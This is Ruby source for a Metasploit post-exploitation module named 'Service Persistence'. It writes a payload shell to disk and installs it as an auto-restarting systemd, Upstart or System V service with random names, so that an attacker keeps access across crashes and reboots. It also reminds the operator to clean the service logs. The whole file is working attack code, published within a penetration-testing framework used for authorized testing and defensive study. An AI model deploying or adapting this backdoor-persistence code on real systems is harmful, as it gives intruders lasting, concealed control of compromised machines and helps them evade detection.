## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Service Persistence', 'Description' => %q( This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services Targets: System V: CentOS <= 5 Debian <= 6 Kali 2.0 Ubuntu <= 9.04 Upstart: CentOS 6 Fedora >= 9, < 15 Ubuntu >= 9.10, <= 14.10 systemd: CentOS 7 Debian >= 7, <=8 Fedora >= 15 Ubuntu >= 15.04 Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. ), 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@shorebreaksecurity.com>' ], 'Platform' => ['unix', 'linux'], 'Targets' => [ ['Auto', {}], ['System V', { :runlevel => '2 3 4 5' }], ['Upstart', { :runlevel => '2345' }], ['systemd', {}] ], 'DefaultTarget' => 0, 'Arch' => ARCH_CMD, 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down } }, 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DisclosureDate' => 'Jan 1 1983', # system v release date ) ) register_options( [ OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']), OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), OptString.new('SERVICE', [false, 'Name of service to create']) ], self.class ) end def exploit backdoor = write_shell(datastore['SHELLPATH']) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] case target.name when 'System V' system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) when 'Upstart' upstart(path, file, target.opts[:runlevel]) when 'systemd' systemd(path, file) else if service_system_exists?('systemctl') print_status('Utilizing systemd') systemd(path, file) end if service_system_exists?('initctl') print_status('Utilizing Upstart') upstart(path, file, '2345') end has_updatercd = service_system_exists?('update-rc.d') if has_updatercd || service_system_exists?('chkconfig') # centos 5 print_status('Utilizing System_V') system_v(path, file, '2 3 4 5', has_updatercd) else print_error('Unable to detect service system') register_file_for_cleanup(backdoor) end end end def service_system_exists?(command) service_cmd = cmd_exec("which #{command}") !(service_cmd.empty? || service_cmd.include?('no')) end def write_shell(path) file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) cmd_exec("chmod 711 #{backdoor}") backdoor end def systemd(backdoor_path, backdoor_file) # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ script = %{[Unit] Description=Start daemon at boot time After= Requires= [Service] RestartSec=10s Restart=always TimeoutStartSec=5 ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} [Install] WantedBy=multi-user.target} service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service") write_file("/lib/systemd/system/#{service_filename}.service", script) vprint_status('Enabling service') cmd_exec("systemctl enable #{service_filename}.service") vprint_status('Starting service') cmd_exec("systemctl start #{service_filename}.service") end def upstart(backdoor_path, backdoor_file, runlevel) # http://blog.terminal.com/getting-started-with-upstart/ script = %{description \"Start daemon at boot time\" start on filesystem or runlevel [#{runlevel}] stop on shutdown script cd #{backdoor_path} echo $$ > /var/run/#{backdoor_file}.pid exec #{backdoor_file} end script post-stop exec sleep 10 respawn respawn limit unlimited} service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) vprint_status("Writing service: /etc/init/#{service_filename}.conf") write_file("/etc/init/#{service_filename}.conf", script) vprint_status('Starting service') cmd_exec("initctl start #{service_filename}") vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") end def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) if has_updatercd print_status('Utilizing update-rc.d') else print_status('Utilizing chkconfig') end script = %{#!/bin/sh ### BEGIN INIT INFO # Provides: service # Required-Start: $network # Required-Stop: $network # Default-Start: #{runlevel} # Default-Stop: 0 1 6 # Short-Description: Start daemon at boot time # Description: Enable service provided by daemon. ### END INIT INFO dir=\"#{backdoor_path}\" cmd=\"#{backdoor_file}\" name=`basename $0` pid_file=\"/var/run/$name.pid\" stdout_log=\"/var/log/$name.log\" stderr_log=\"/var/log/$name.err\" get_pid() { cat \"$pid_file\" } is_running() { [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1 } case \"$1\" in start) if is_running; then echo \"Already started\" else echo \"Starting $name\" cd \"$dir\"} if has_updatercd script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" else # CentOS didn't like sudo or su... script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" end script << %{ echo $! > \"$pid_file\" if ! is_running; then echo \"Unable to start, see $stdout_log and $stderr_log\" exit 1 fi fi ;; stop) if is_running; then echo -n \"Stopping $name..\" kill `get_pid` for i in {1..10} do if ! is_running; then break fi echo -n \".\" sleep 1 done echo if is_running; then echo \"Not stopped; may still be shutting down or shutdown may have failed\" exit 1 else echo \"Stopped\" if [ -f \"$pid_file\" ]; then rm \"$pid_file\" fi fi else echo \"Not running\" fi ;; restart) $0 stop if is_running; then echo \"Unable to stop, will not attempt to start\" exit 1 fi $0 start ;; status) if is_running; then echo \"Running\" else echo \"Stopped\" exit 1 fi ;; *) echo \"Usage: $0 {start|stop|restart|status}\" exit 1 ;; esac exit 0} service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) vprint_status("Writing service: /etc/init.d/#{service_filename}") write_file("/etc/init.d/#{service_filename}", script) cmd_exec("chmod 755 /etc/init.d/#{service_filename}") vprint_status('Enabling & starting our service') if has_updatercd cmd_exec("update-rc.d #{service_filename} defaults") cmd_exec("update-rc.d #{service_filename} enable") cmd_exec("service #{service_filename} start") else # CentOS cmd_exec("chkconfig --add #{service_filename}") cmd_exec("chkconfig #{service_filename} on") cmd_exec("/etc/init.d/#{service_filename} start") end end end